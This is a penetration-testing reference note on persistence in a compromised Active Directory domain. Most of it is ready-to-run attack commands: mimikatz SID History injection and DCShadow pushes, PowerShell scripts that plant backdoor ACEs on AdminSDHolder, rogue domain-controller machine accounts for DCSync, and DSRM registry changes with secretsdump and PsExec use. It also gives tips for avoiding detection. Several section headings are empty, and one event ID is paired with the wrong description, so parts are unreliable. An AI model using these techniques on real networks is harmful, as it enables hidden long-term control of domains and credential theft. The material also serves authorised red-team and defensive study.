Post Exploitation - Persistence

Kerberos "golden" / "silver" tickets

SID History

The access to securable resources, that is resources that define a security descriptor, is based on the security principal's (user or machine account and security group notably) SID, eventual extra SIDs, and security group SIDs. Indeed, these SIDs are compared to the access rights defined in the Access Control Entries (ACEs) of the accessed object's Discretionary Access Control List (DACL).

Adding a privileged SID, such as the one of the built-in domain Administrator account (SID S-1-5-21-<DOMAIN>-500), in the SID History of a non privileged user can thus be leveraged to maintain persistence in the domain through a seemingly standard user. In order to avoid detection, a non built-in user (RID > 1000) member of a privileged group (Enterprise Admins, Domain Admins, Administrators, etc.) may be preferred. The persistence will be operational until the impersonated user is deleted or removed from the privileged group(s).

Under normal circumstances, SIDs will only be added (automatically) to the SIDHistory attribute of a security principal during domain migration and cannot be manually added (but can be manually removed).

This restriction can be bypassed and SIDs added to a security principal's SIDHistory attribute with mimikatz by either:

• executing code locally on a Domain Controller to patch its NTDS service

• registering a rogue Domain Controller to inject and replicate arbitrary modifications (attack known as DCShadow)

The following command can be used to validate the SIDHistory attribute modification:

Get-ADObject -Filter "(SamAccountName -eq '<SAMACCOUNTNAME>')" -Properties SIDHistory

SID History modification through local patch of the NTDS service

This technique of modification of the SIDHistory attribute requires privileges granted to the Domain Admins group and must be conducted on a Domain Controller as the Windows NT Directory Services (NTDS) service must be locally patched. While the SID History modification will persist, the NTDS service patch will not be persistent across reboot of the Domain Controller.

mimikatz's sid module can be used to add SIDs in the SIDHistory attribute of any users of the current domain (the following commands must be executed directly on a Domain Controller):

# If necessary, elevate privileges to "NT AUTHORITY\SYSTEM" and enables the "SeDebugPrivilege" privilege.
mimikatz # token::elevate
mimikatz # privilege::debug

# Patches the ntds service.
# Only the first patch ("Patch 1/2 ntds service patched") is required for the attack (the second patch may rise an error, such as "ERROR kull_m_patch_genericProcessOrServiceFromBuild", with out incidence).
mimikatz # sid::patch

# Adds the given SID in the SIDHistory attribute of the specified user.
# For example, S-1-5-21-<DOMAIN>-500 for built-in domain Administrator account.
mimikatz # sid::add /sam:<SAMACCOUNTNAME> /new:<S-1-5-21-<FOREST_DOMAIN>-519 | EXTRA_SID>

SID History modification through DCShadow

The restriction on the modification of the SIDHistory attribute can be also bypassed through a DCShadow attack to arbitrarily set an account SIDHistory attribute. For more details on the DCShadow attack, refer to the "DCShadow ACL" section of this note.

This technique will override any SID(s) currently present in the security principal's SIDHistory attribute.

# Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack:
# One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins").
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# First interpreter (executed as "NT AUTHORITY\SYSTEM").
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:SIDHistory /value:<S-1-5-21-<FOREST_DOMAIN>-519 | SID>

# Second interpreter (executed as the privileged domain account).
mimikatz # lsadump::dcshadow /push

PrimaryGroupID

The PrimaryGroupID attribute of an user or machine account contains the Relative IDentifier (RID) of a domain group and gives an implicit membership to the specified group. The PrimaryGroupID attribute is used to support integration of UNIX POSIX clients but is not otherwise specifically used in Active Directory.

The group membership granted by the PrimaryGroupID attribute does not appear in the account's MemberOf nor in the group's Members LDAP attributes. It will however be included in constructed attributes "constructed" through Microsoft APIs (such as group membership returned by the Active Directory PowerShell module, MMC's snappins, the net utility, etc.). It can thus be used, to a certain extent, to dissimulate membership of a standard account to a privileged group.

In kerberos authentication, the PrimaryGroupID attribute of an account populate the account's kerberos tickets _KERB_VALIDATION_INFO's PrimaryGroupId and GroupIds fields (in the tickets' Privilege Attribute Certificate (PAC)).

Depending on the account type, the account's PrimaryGroupID attribute takes a different default value:

Account type	PrimaryGroupID	Corresponding group
User account	513	Domain Users constant: DOMAIN_GROUP_RID_USERS
Guest account	514	Domain Guests
Machine account	515	Domain Computers constant: DOMAIN_GROUP_RID_COMPUTERS
Domain Controllers machine account	516	Domain Controllers constant: DOMAIN_GROUP_RID_CONTROLLERS
Read Only Domain Controllers machine account	521	Read-only Domain Controllers constant: DOMAIN_GROUP_RID_READONLY_CONTROLLERS

Under normal circumstances, the account must be a member of the group specified in its PrimaryGroupID attribute. An error indeed occurs whenever trying to set the PrimaryGroupID attribute of an account to the RID of a group the account is a not a member of (error: "The specified user account is a not a member of the specified group account"). A similar error occurs whenever attempting to remove an account from the group set in its PrimaryGroupID (error: "The primary group cannot be removed. Set another group as primary if you want to remove this one".)

The restriction of membership can be bypassed through a DCShadow attack to arbitrarily set an account PrimaryGroupID attribute. For more details on the DCShadow attack, refer to the "DCShadow ACL" section of this note.

# Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack:
# One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins").
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# First interpreter (executed as "NT AUTHORITY\SYSTEM").
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:PrimaryGroupID /value:<512 | 519 | GROUP_RID>

# Second interpreter (executed as the privileged domain account).
mimikatz # lsadump::dcshadow /push

The following command can be used to validate the PrimaryGroupID attribute modification:

Get-ADObject -Filter "(SamAccountName -eq '<SAMACCOUNTNAME>')" -Properties PrimaryGroupID

AdminSDHolder ACL

For a general overview of Access Control Lists (ACL), refer to the [ActiveDirectory] ACL exploiting note.

A number of predefined privileged built-in accounts and groups (including their members) are protected by the SDProp mechanism. SDProp is an automated process that ensure that the ACL defined on the aforementioned protected security principals match the AdminSDHolder object's ACL (and restore the expected ACL in case of mismatch).

In addition to verifying and eventually restoring ACL, the SDProp mechanism also disable ACL inheritance and set the adminCount attribute of the protected principals to 0x1. Note that users and groups removed from the predefined privileged groups will no longer be protected by the SDProp mechanism but will keep their adminCount attribute set to 0x1 and ACL inheritance disabled.

The SDProp process runs every 60 minutes by default. This frequency of execution can be modified using the HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\AdminSDProtectFrequency registry key on the domain's PDC Emulator. Valid values range from 60 to 7200 seconds.

As of Windows Server 2008, the following privileged accounts and groups are protected by the SDProp mechanism:

• Account Operators

• Administrator

• Administrators

• Backup Operators

• Domain Admins

• Domain Controllers

• Enterprise Admins

• Krbtgt

• Print Operators

• Domain Controllers

• Replicator

• Schema Admins

• Server Operators

Any ACE set directly on a protected account or group will not persist the SDProp process. Only the modification of the AdminSDHolder object's ACL may thus be used as a persistence mechanism on privileged principals.

The domain's AdminSDHolder object is a Container located at CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>. By default, only the Domain Admins, Enterprise Admins, and Administrators domain groups are granted the right to modify the ACL of the AdminSDHolder object:

IdentityReference     : <DOMAIN>\Domain Admins
ActiveDirectoryRights : GenericAll
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceFlags      : None

IdentityReference     : <DOMAIN>\Enterprise Admins
ActiveDirectoryRights : GenericAll
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceFlags      : ContainerInherit

IdentityReference     : BUILTIN\Administrators
ActiveDirectoryRights : WriteProperty, ExtendedRight, WriteDacl, WriteOwner, [...]
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceFlags      : ContainerInherit

The following PowerShell script can be used to manually trigger the SDProp mechanism (without interfering with the normal execution schedule):

# An arbitrary domain can be specified using: $DomainName = "<DOMAIN>".
$DomainName =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name

# The task name associated with the SDProp mechanism vary depending on the domain's PDC Emulator operating system.
# For <= Windows Server 2008: $Task = 'FixUpInheritance'
# For > Windows Server 2008: $Task = 'RunProtectAdminGroupsTask'
$Task = 'RunProtectAdminGroupsTask'

$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('domain',$DomainName)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($DomainObject.PdcRoleOwner.Name)/RootDSE")
$RootDSE.UsePropertyCache = $false
$RootDSE.Put($Task, "1")
$RootDSE.SetInfo()

A number of ACE may be used to maintain persistence by creating a control path through AdminSDHolder object's ACL:

• GenericAll

• WriteOwner

• WriteDacl

• WriteProperty / GenericWrite to all properties or property that can be used to take control of the object (Member attribute for groups, Script-Path for users, etc.)

• AllExtendedRights or ExtendedRight that grant control over the object (such as ForceChangePassword)

For more details on the aforementioned ACE, and techniques and tools to leverage them, refer to the [ActiveDirectory] ACL exploiting note (section Users and groups permissions exploitation).

The ACL modification can be done with mmc.exe's Active Directory Users and Computers (ADUC) graphical snap-in or in PowerShell using the PowerView's Add-DomainObjectAcl and ActiveDirectory module's Get-Acl / Set-Acl cmdlets.

# Procedure to the modify AdminSDHolder object's ACL using ADUC.
# ADUC cannot be used to set more fine grained rights on the AdminSDHolder object (such as ExtendedRight's ForceChangePassword or WriteProperty to the Member attribute).
mmc.exe -> File -> Add/Remove Snap-in... (Ctrl + M) -> Active Directory Users and Computers
-> <DOMAIN> -> System -> right click AdminSDHolder -> Properties -> Security -> Advanced -> Add
-> Select a principal
-> Type: Allow
-> Applies to: This object only
-> Permissions: FullControl / Write all properties / Modify permissions / Modify owner

# Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights.
# The WriteMembers option is documented as WriteProperty to the Member attribute but is non functional.
Add-DomainObjectAcl -Verbose -TargetIdentity "CN=AdminSDHolder,CN=System,<DOMAIN_ROOT>" -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword>

# Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE.
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>"
$User = '<USERNAME>'
$UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID
$AdminSDHolderACL = Get-ACL -Path $AdminSDHolder
# Adds the ACE GenericAll.
$ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow,
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$AdminSDHolderACL.AddAccessRule($ACE_FullControl)
# Adds the ACE WriteProperty to the Member attribute.
$ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "bf9679c0-0de6-11d0-a285-00aa003049e2",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$AdminSDHolderACL.AddAccessRule($ACE_WriteMember)
# Adds the ACE ExtendedRight's User-Force-Change-Password.
$ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    [System.Security.AccessControl.AccessControlType]::Allow,
    "00299570-246d-11d0-a768-00aa006e0529",
    [DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
$AdminSDHolderACL.AddAccessRule($ACE_ResetPassword)
Set-Acl -Path $AdminSDHolder -AclObject $AdminSDHolderACL

The PowerView's Get-DomainObjectAcl and ActiveDirectory PowerShell module's Get-Acl cmdlets can be used to validate the modification:

# Uses PowerView to enumerate the ACL of the AdminSDHolder object.
$UserSID = Get-DomainUser -Identity <SamAccountName | DistinguishedName | SID | GUID> | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,<DOMAIN_ROOT>" -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID}

# Uses the PowerShell ActiveDirectory module to enumerate the ACL of the AdminSDHolder object.
# To enumerate ACL from a different domain (the AD drive to the current domain should automatically be mapped whenever importing the ActiveDirectory PowerShell module):
New-PSDrive -Name <AD | DRIVE_NAME> -PSProvider ActiveDirectory -Server '<DC_HOSTNAME | DC_IP>' -root "//RootDSE/" [-Credential <PSCredential>]
Get-Acl "<AD | DRIVE_NAME>:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT>" | Select-Object -ExpandProperty Access | ? IdentityReference -Match "<SAMACCOUNTNAME>"

DRSUAPI replication operations (DCSync attack) rights

Refer to the [ActiveDirectory] ntds.dit dumping note for tools and techniques to conduct replication operations (DCSync attack).

Minimal ACEs

Machine account with SERVER_TRUST_ACCOUNT

A machine account that has its UserAccountControl attribute with the SERVER_TRUST_ACCOUNT (0x2000 / 8192) bit set is able to perform replication operations (DCSync attack) implicitly. The machine account will indeed be considered as a Domain Controller and be able to replicate AD objects with out the Ds-Replication-Get-Changes and Ds-Replication-Get-Changes-All extended rights.

The DS-Install-Replica extended right, on the domain root object, is required to set an account UserAccountControl attribute's SERVER_TRUST_ACCOUNT bit. This right is by default granted to the Domain Admins, Administrators, and Enterprise Admins groups. Granting the DS-Install-Replica extended right to an otherwise unprivileged account may thus also be used as a mean of persistence.

Whenever an machine account UserAccountControl attribute's SERVER_TRUST_ACCOUNT bit is set, the primaryGroupId of the account will be set to 516 (DOMAIN_GROUP_RID_CONTROLLERS) and the account added to the group referenced by the previous primaryGroupId value. While the SERVER_TRUST_ACCOUNT bit is set, the primaryGroupId of the machine account will not be modifiable (error: "Cannot change the primary group ID of a domain controller account").

As the machine account will considered as a Domain Controller, no Windows Security events Event 4662: An operation was performed on an object will be generated upon replication operations. For maximum stealthiness, it is possible to overpass-the-hash to mimic legitimate Domain Controller authentication. Doing so will generate Windows Security events Event 4662: An account was successfully logged on with the Kerberos (instead of NTLM) authentication package. Refer to the [ActiveDirectory] Kerberos tickets usage note for more information on the overpass-the-hash technique.

The PowerShell ActiveDirectory module's New-ADComputer and Set-ADComputer can be used to create a new machine account and set its UserAccountControl attribute.

# Creates a new machine account that will have the given password.
# The specified password must meet the password policy of the domain. The account will be created but disabled if the password does not meet the password policy.
New-ADComputer "<MACHINE_ACCOUNT_NAME>" -AccountPassword (ConvertTo-SecureString -AsPlainText -Force "<MACHINE_ACCOUNT_PASSWORD>")

# Set the specified machine account UserAccountControl attribute's
SERVER_TRUST_ACCOUNT bit.
Set-ADComputer "<MACHINE_ACCOUNT_NAME>" -Replace @{"UserAccountControl" = 0x2000}

# Retrives the specified machine account UserAccountControl attribute.
Get-ADComputer "<MACHINE_ACCOUNT_NAME>" -Properties UserAccountControl

DCShadow

DCShadow minimal ACE

The following access rights are sufficient to conduct a DCShadow attack (without the need of being part of a privileged group such as Domain Admins):

• DS-Install-Replica (right's GUID: 9923a32a-3607-11d2-b9be-0000f87a36b2)

• DS-Replication-Manage-Topology (right's GUID: 1131f6ac-9c07-11d1-f79f-00c04fc2dcd2)

• DS-Replication-Synchronize (right's GUID: 1131f6ab-9c07-11d1-f79f-00c04fc2dcd2)

DCShadow realisation

Make sure that the local Firewall policy allows inbound connection on the dynamic TCP ports range.

# Two mimikatz interpreters are required for the DCShadow attack (as implemented by mimikatz).
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# The first interpreter must be executed as "NT AUTHORITY\SYSTEM" and will be used to define the modification.
# PsExec can be used to elevate from local Administrator to "NT AUTHORITY\SYSTEM":
PsExec64.exe -accepteula -s -i cmd.exe
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:PrimaryGroupID /value=<512 | 519 | GROUP_RID>

# The second interpreter must be executed as a domain user with enough privileges to conducted the DCShadow attack (by default a member of the "Domain Admins" group).
# runas can be used to execute a process under the identity of the specified account for remote access only:
runas /NetOnly /user:<DOMAIN>\<USERNAME> cmd.exe
mimikatz # lsadump::dcshadow /push

Directory Services Restore Mode account

The Directory Services Restore Mode (DSRM) account correspond to the local built-in Administrator (username language dependent name, SID S-1-5-21-<DC_SPECIFIC>-500) of a Domain Controller. The DRSM account password is specific to each Domain Controller and is setup during the Domain Controller promulgation. The DRSM accounts are local to each Domain Controller and have no link with the built-in Administrator (SID S-1-5-21-<DOMAIN>-500) of the domain.

Note that since Windows Server 2008 (KB961320), the DSRM account password can be one-time synchronized with a domain account (further synchronization are however not automated and must be done manually).

The usage of the DSRM account is controlled by the DsrmAdminLogonBehavior registry key:

Value	Description
0x0 Undefined	The DSRM account can only be used if the Domain Controller is booted in DSRM. bcdedit /set safeboot dsrepair shutdown /r /f /t 5
0x1	The DSRM account can login on the Domain Controller if the Active Directory Domain Service (AD DS) of the Domain Controller are (locally) stopped.
0x2	The DSRM account can login with out any restriction.

By default, the DsrmAdminLogonBehavior key is undefined (and thus the DSRM account can only be used to connect to the Domain Controller if it has been restarted in DSRM).

To maintain persistence after a compromise of an Active Directory domain, the local built-in Administrator password of a Domain Controller can be retrieved (or set) and the DsrmAdminLogonBehavior of the Domain Controller set to 0x2. The DSRM account will be usable over the network even if the Domain Controller is not started in DSRM and persistence maintained until its password is renewed. In this scenario, the DSRM account can notably be used to remotely connect to the Domain Controller or conduct replication operations (DCSync attack).

The following commands can be used to retrieve and set the value of the DsrmAdminLogonBehavior registry key (on a Domain Controller):

# Retrieves the current value of the DsrmAdminLogonBehavior registry key.
reg query "HKLM\System\CurrentControlSet\Control\Lsa\" /v "DsrmAdminLogonBehavior"
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -Name "DsrmAdminLogonBehavior"

# Creates and sets the value of the DsrmAdminLogonBehavior registry key to the specified value.
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>"
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -PropertyType DWORD -Value <2 | VALUE>

# Overrides the value of the DsrmAdminLogonBehavior registry key to the specified value (if the key already exists).
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value "<2 | VALUE>"

The following techniques can be used to retrieve or set the DRSM account password:

# Remote extraction of the DRSM account (full dump of the local accounts stored in the SAM registry hive).
# For more information and techniques on how to retrieve the local Administrator NTLM hash from the SAM database, refer to the "[Windows] Post Exploitation" note.
secretsdump.py '<DOMAIN>/<USERNAME>[:<PASSWORD>]@<DC_HOSTNAME | DC_IP>'

# While not recommended from an opsec standpoint, the DRSM account password can also be reset (with out requiring knowledge of the current password).
ntdsutil
> set dsrm password
# "null" if the commands are executed locally on the Domain Controller of which the DRSM account password should be updated, its hostname otherwise.
> reset password on server <null | DC_HOSTNAME>
> <NEW_DRSM_PASSWORD>
> <NEW_DRSM_PASSWORD>

If the DsrmAdminLogonBehavior key of the targeted Domain Controller is set to 0x2, remote code execution or replication operations can be conducted using the DRSM account:

# Refer to the "[ActiveDirectory] ntds.dit dumping" for more techniques to extract the secrets from the ntds.dit database.
secretsdump.py '<DC_HOSTNAME>/<Administrator | DRSM_ACCOUNT>:<DSRM_PASSWORD>@<DC_HOSTNAME | DC_IP>'
secretsdump.py -hashes <:DSRM_NTLM_HASH> '<DC_HOSTNAME>/<Administrator | DRSM_ACCOUNT>@<DC_HOSTNAME | DC_IP>'

# The DRSM account can be used through any authentication types (network logon, remote interactive logon, etc.).
# Refer to the "[Windows] Lateral movements" note for more techniques to remotely execute code on the targeted Domain Controller (through PsExec-like tools, WMI, WinRM, RDP, etc.).
PsExec.exe -accepteula \\<DC_HOSTNAME | DC_IP> -u "<DC_HOSTNAME>/<Administrator | DRSM_ACCOUNT>" -p "<DRSM_PASSWORD>" -s <cmd.exe | %ComSpec% | powershell.exe>

Kerberos delegations

Certificates (User-Principal-Name or Alt-Security-Identities)

Skeleton key

Domain Controller local persistence

---

References

https://adsecurity.org/?p=1714 https://adsecurity.org/?p=1785 https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#primary_group_id_1000 https://blog.alsid.eu/dcshadow-explained-4510f52fc19d https://www.alsid.com/2020/07/14/primary-group-id-attack/ https://www.youtube.com/watch?v=6thBskwsOss http://www.labofapenetrationtester.com/2018/04/dcshadow.html https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1 https://stealthbits.com/blog/server-untrust-account/